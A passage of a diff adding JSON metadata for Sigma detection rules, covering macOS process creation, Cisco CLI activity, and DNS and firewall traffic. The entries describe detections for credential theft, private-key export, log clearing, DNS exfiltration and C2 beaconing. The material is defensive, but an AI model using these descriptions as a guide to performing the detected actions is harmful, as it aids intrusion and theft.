"b6e2a2e3-2d30-43b1-a4ea-071e36595690", + "value": "Space After Filename - macOS" + }, + { + "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", + "meta": { + "author": "Igor Fits, Mikhail Larin, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "proc_creation_macos_split_file_into_pieces.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1030" + ] + }, + "uuid": "7f2bb9d5-6395-4de5-969c-70c11fbe6b12", + "value": "Split A File Into Pieces" + }, + { + "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_macos_susp_execution_macos_script_editor.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", + "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.002", + "attack.initial_access", + "attack.t1059", + "attack.t1059.002", + "attack.t1204", + "attack.t1204.001", + "attack.execution", + "attack.persistence", + "attack.t1553", + "attack.defense_evasion" + ] + }, + "uuid": "6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4", + "value": "Suspicious Exeution via macOS Script Editor" + }, + { + "description": "Detects commandline operations on shell history files", + "meta": { + "author": "Mikhail Larin, oscd.community", + "creation_date": "2020/10/17", + "falsepositive": [ + "Legitimate administrative activity", + "Legitimate software, cleaning hist file" + ], + "filename": "proc_creation_macos_susp_histfile_operations.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ] + }, + "uuid": "508a9374-ad52-4789-b568-fc358def2c65", + "value": "Suspicious History File Operations" + }, + { + "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/30", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_susp_macos_firmware_activity.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", + "https://www.manpagez.com/man/8/firmwarepasswd/", + "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", + "value": "Suspicious MacOS Firmware Activity" + }, + { + "description": "Detects usage of system utilities to discover system network connections", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_macos_system_network_connections_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ] + }, + "uuid": "9a7a0393-2144-4626-9bf1-7c2f5a7321db", + "value": "System Network Connections Discovery" + }, + { + "description": "Detects enumeration of local network configuration", + "meta": { + "author": "remotephone, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_system_network_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ] + }, + "uuid": "58800443-f9fc-4d55-ae0c-98a3966dfb97", + "value": "System Network Discovery - macOS" + }, + { + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", + "meta": { + "author": "Igor Fits, Mikhail Larin, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "proc_creation_macos_system_shutdown_reboot.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ] + }, + "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de", + "value": "System Shutdown/Reboot" + }, + { + "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_macos_wizardupdate_malware_infection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" + ], + "tags": [ + "attack.command_and_control" + ] + }, + "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", + "value": "Potential WizardUpdate Malware Infection" + }, + { + "description": "Detects macOS Gatekeeper bypass via xattr utility", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.001" + ] + }, + "uuid": "f5141b6d-9f42-41c6-a7bf-2a780678b29b", + "value": "Gatekeeper Bypass via Xattr" + }, + { + "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_macos_xcsset_malware_infection.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" + ], + "tags": [ + "attack.command_and_control" + ] + }, + "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", + "value": "Potential XCSSET Malware Infection" + }, + { + "description": "Clear command history in network OS which is used for defense evasion", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "Legitimate administrators may run these commands" + ], + "filename": "cisco_cli_clear_logs.yml", + "level": "high", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ] + }, + "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956", + "value": "Cisco Clear Logs" + }, + { + "description": "Collect pertinent data from the configuration files", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/11", + "falsepositive": [ + "Commonly run by administrators" + ], + "filename": "cisco_cli_collect_data.yml", + "level": "low", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.collection", + "attack.t1087.001", + "attack.t1552.001", + "attack.t1005" + ] + }, + "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a", + "value": "Cisco Collect Data" + }, + { + "description": "Show when private keys are being exported from the device, or when new certificates are installed", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "Not commonly run by administrators. Also whitelist your known good certificates" + ], + "filename": "cisco_cli_crypto_actions.yml", + "level": "high", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" + ], + "tags": [ + "attack.credential_access", + "attack.defense_evasion", + "attack.t1553.004", + "attack.t1552.004" + ] + }, + "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d", + "value": "Cisco Crypto Commands" + }, + { + "description": "Turn off logging locally or remote", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/11", + "falsepositive": [ + "Unknown" + ], + "filename": "cisco_cli_disable_logging.yml", + "level": "high", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e", + "value": "Cisco Disabling Logging" + }, + { + "description": "Find information about network devices that is not stored in config files", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "Commonly used by administrators for troubleshooting" + ], + "filename": "cisco_cli_discovery.yml", + "level": "low", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083", + "attack.t1201", + "attack.t1057", + "attack.t1018", + "attack.t1082", + "attack.t1016", + "attack.t1049", + "attack.t1033", + "attack.t1124" + ] + }, + "uuid": "9705a6a1-6db6-4a16-a987-15b7151e299b", + "value": "Cisco Discovery" + }, + { + "description": "Detect a system being shutdown or put into different boot mode", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/15", + "falsepositive": [ + "Legitimate administrators may run these commands, though rarely." + ], + "filename": "cisco_cli_dos.yml", + "level": "medium", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml" + ], + "tags": [ + "attack.impact", + "attack.t1495", + "attack.t1529", + "attack.t1565.001" + ] + }, + "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c", + "value": "Cisco Denial of Service" + }, + { + "description": "See what files are being deleted from flash file systems", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "Will be used sometimes by admins to clean up local flash space" + ], + "filename": "cisco_cli_file_deletion.yml", + "level": "medium", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1070.004", + "attack.t1561.001", + "attack.t1561.002" + ] + }, + "uuid": "71d65515-c436-43c0-841b-236b1f32c21e", + "value": "Cisco File Deletion" + }, + { + "description": "See what commands are being input into the device by other people, full credentials can be in the history", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/11", + "falsepositive": [ + "Not commonly run by administrators, especially if remote logging is configured" + ], + "filename": "cisco_cli_input_capture.yml", + "level": "medium", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ] + }, + "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b", + "value": "Cisco Show Commands Input" + }, + { + "description": "Find local accounts being created or modified as well as remote authentication configurations", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "When remote authentication is in place, this should not change often" + ], + "filename": "cisco_cli_local_accounts.yml", + "level": "high", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "attack.t1098" + ] + }, + "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3", + "value": "Cisco Local Accounts" + }, + { + "description": "Modifications to a config that will serve an adversary's impacts or persistence", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "Legitimate administrators may run these commands" + ], + "filename": "cisco_cli_modify_config.yml", + "level": "medium", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml" + ], + "tags": [ + "attack.persistence", + "attack.impact", + "attack.t1490", + "attack.t1505", + "attack.t1565.002", + "attack.t1053" + ] + }, + "uuid": "671ffc77-50a7-464f-9e3d-9ea2b493b26b", + "value": "Cisco Modify Configuration" + }, + { + "description": "Various protocols maybe used to put data on the device for exfil or infil", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/12", + "falsepositive": [ + "Generally used to copy configs or IOS images" + ], + "filename": "cisco_cli_moving_data.yml", + "level": "low", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml" + ], + "tags": [ + "attack.collection", + "attack.lateral_movement", + "attack.command_and_control", + "attack.exfiltration", + "attack.t1074", + "attack.t1105", + "attack.t1560.001" + ] + }, + "uuid": "5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59", + "value": "Cisco Stage Data" + }, + { + "description": "Show when a monitor or a span/rspan is setup or modified", + "meta": { + "author": "Austin Clark", + "creation_date": "2019/08/11", + "falsepositive": [ + "Admins may setup new or modify old spans, or use a monitor for troubleshooting" + ], + "filename": "cisco_cli_net_sniff.yml", + "level": "medium", + "logsource.category": "accounting", + "logsource.product": "cisco", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ] + }, + "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d", + "value": "Cisco Sniffing" + }, + { + "description": "Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.", + "meta": { + "author": "Patrick Bareiss", + "creation_date": "2019/04/07", + "falsepositive": [ + "Valid software, which uses dns for transferring data" + ], + "filename": "net_dns_c2_detection.yml", + "level": "high", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://zeltser.com/c2-dns-tunneling/", + "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004", + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "1ec4b281-aa65-46a2-bdae-5fd830ed914e", + "value": "Possible DNS Tunneling" + }, + { + "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", + "meta": { + "author": "Florian Roth, Matt Kelly (list of domains)", + "creation_date": "2022/06/07", + "falsepositive": [ + "Unknown" + ], + "filename": "net_dns_external_service_interaction_domains.yml", + "level": "high", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/breakersall/status/1533493587828260866", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.reconnaissance", + "attack.t1595.002" + ] + }, + "uuid": "aff715fa-4dd5-497a-8db3-910bea555566", + "value": "DNS Query to External Service Interaction Domains" + }, + { + "description": "High DNS queries bytes amount from host per short period of time", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" + ], + "filename": "net_dns_high_bytes_out.yml", + "level": "medium", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_bytes_out.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "0f6c1bf5-70a5-4963-aef9-aab1eefb50bd", + "value": "High DNS Bytes Out" + }, + { + "description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate high DNS NULL requests rate to domain name which should be added to whitelist" + ], + "filename": "net_dns_high_null_records_requests_rate.yml", + "level": "medium", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_null_records_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "44ae5117-9c44-40cf-9c7c-7edad385ca70", + "value": "High NULL Records Requests Rate" + }, + { + "description": "High DNS requests amount from host per short period of time", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate high DNS requests rate to domain name which should be added to whitelist" + ], + "filename": "net_dns_high_requests_rate.yml", + "level": "medium", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "b4163085-4001-46a3-a79a-55d8bbbc7a3a", + "value": "High DNS Requests Rate" + }, + { + "description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate high DNS TXT requests rate to domain name which should be added to whitelist" + ], + "filename": "net_dns_high_txt_records_requests_rate.yml", + "level": "medium", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_txt_records_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "f0a8cedc-1d22-4453-9c44-8d9f4ebd5d35", + "value": "High TXT Records Requests Rate" + }, + { + "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/05/10", + "falsepositive": [ + "Unknown" + ], + "filename": "net_dns_mal_cobaltstrike.yml", + "level": "critical", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "2975af79-28c4-4d2f-a951-9095f229df29", + "value": "Cobalt Strike DNS Beaconing" + }, + { + "description": "Detects suspicious DNS queries to Monero mining pools", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/24", + "falsepositive": [ + "Legitimate crypto coin mining" + ], + "filename": "net_dns_pua_cryptocoin_mining_xmr.yml", + "level": "high", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496", + "attack.t1567" + ] + }, + "uuid": "b593fd50-7335-4682-a36c-4edcb68e4641", + "value": "Monero Crypto Coin Mining Pool Lookup" + }, + { + "description": "Detects suspicious DNS queries using base64 encoding", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/05/10", + "falsepositive": [ + "Unknown" + ], + "filename": "net_dns_susp_b64_queries.yml", + "level": "medium", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://github.com/krmaxwell/dns-exfiltration", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "4153a907-2451-4e4f-a578-c52bb6881432", + "value": "Suspicious DNS Query with B64 Encoded String" + }, + { + "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/06/05", + "falsepositive": [ + "Legitimate use of Telegram bots in the company" + ], + "filename": "net_dns_susp_telegram_api.yml", + "level": "medium", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://core.telegram.org/bots/faq", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102.002" + ] + }, + "uuid": "c64c5175-5189-431b-a55e-6d9882158251", + "value": "Telegram Bot API Request" + }, + { + "description": "Detects strings used in command execution in DNS TXT Answer", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/08/08", + "falsepositive": [ + "Unknown" + ], + "filename": "net_dns_susp_txt_exec_strings.yml", + "level": "high", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/stvemillertime/status/1024707932447854592", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "8ae51330-899c-4641-8125-e39f2e07da72", + "value": "DNS TXT Answer with Possible Execution Strings" + }, + { + "description": "Detects wannacry killswitch domain dns queries", + "meta": { + "author": "Mike Wade", + "creation_date": "2020/09/16", + "falsepositive": [ + "Analyst testing" + ], + "filename": "net_dns_wannacry_killswitch_domain.yml", + "level": "high", + "logsource.category": "dns", + "logsource.product": "No established product", + "refs": [ + "https://www.fireeye.com/blog/products-and-services/2017/05/wannacry-ransomware-campaign.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "3eaf6218-3bed-4d8a-8707-274096f12a18", + "value": "Wannacry Killswitch Domain" + }, + { + "description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/04/15", + "falsepositive": [ + "Unknown" + ], + "filename": "net_firewall_apt_equationgroup_c2.yml", + "level": "high", + "logsource.category": "firewall", + "logsource.product": "No established product", + "refs": [ + "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", + "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.g0020", + "attack.t1041" + ] + }, + "uuid": "881834a4-6659-4773-821e-1c151789d873", + "value": "Equation Group C2 Communication" + }, + { + "description": "High DNS queries bytes amount from host per short period of time", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" + ], + "filename": "net_firewall_high_dns_bytes_out.yml", + "level": "medium", + "logsource.category": "firewall", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_bytes_out.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "3b6e327d-8649-4102-993f-d25786481589", + "value": "High DNS Bytes Out" + }, + { + "description": "High DNS requests amount from host per short period of time", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate high DNS requests rate to domain name which should be added to whitelist" + ], + "filename": "net_firewall_high_dns_requests_rate.yml", + "level": "medium", + "logsource.category": "firewall", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "51186749-7415-46be-90e5-6914865c825a", + "value": "High DNS Requests Rate" + }, + { + "description": "Detects many failed connection attempts to different ports or hosts", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/02/19", + "falsepositive": [ + "Inventarization systems", + "Vulnerability scans" + ], + "filename": "net_firewall_susp_network_scan_by_ip.yml", + "level": "medium", + "logsource.category": "firewall", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_ip.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "4601eaec-6b45-4052-ad32-2d96d26ce0d8", + "value": "Network Scans Count By Destination IP" + }, + { + "description": "Detects many failed connection attempts to different ports or hosts", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/02/19", + "falsepositive": [ + "Inventarization systems", + "Vulnerability scans" + ], + "filename": "net_firewall_susp_network_scan_by_port.yml", + "level": "medium", + "logsource.category": "firewall", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_port.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "fab0ddf0-b8a9-4d70-91ce-a20547209afb", + "value": "Network Scans Count By Destination Port" + }, + { + "description": "Domain user and group enumeration via network reconnaissance.\nSeen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller.\nThe rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29\n", + "meta": { + "author": "Nate Guagenti (@neu5ron), Open Threat Research (OTR)", + "creation_date": "2020/05/03", + "falsepositive": [ + "Devices that may do authentication like a VPN or a firewall that looksup IPs to username", + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "zeek_dce_rpc_domain_user_enumeration.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29", + "https://github.com/OTRF/detection-hackathon-apt29/issues/37", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002", + "attack.t1082" + ] + }, + "uuid": "66a0bdc6-ee04-441a-9125-99d2eb547942", + "value": "Domain User 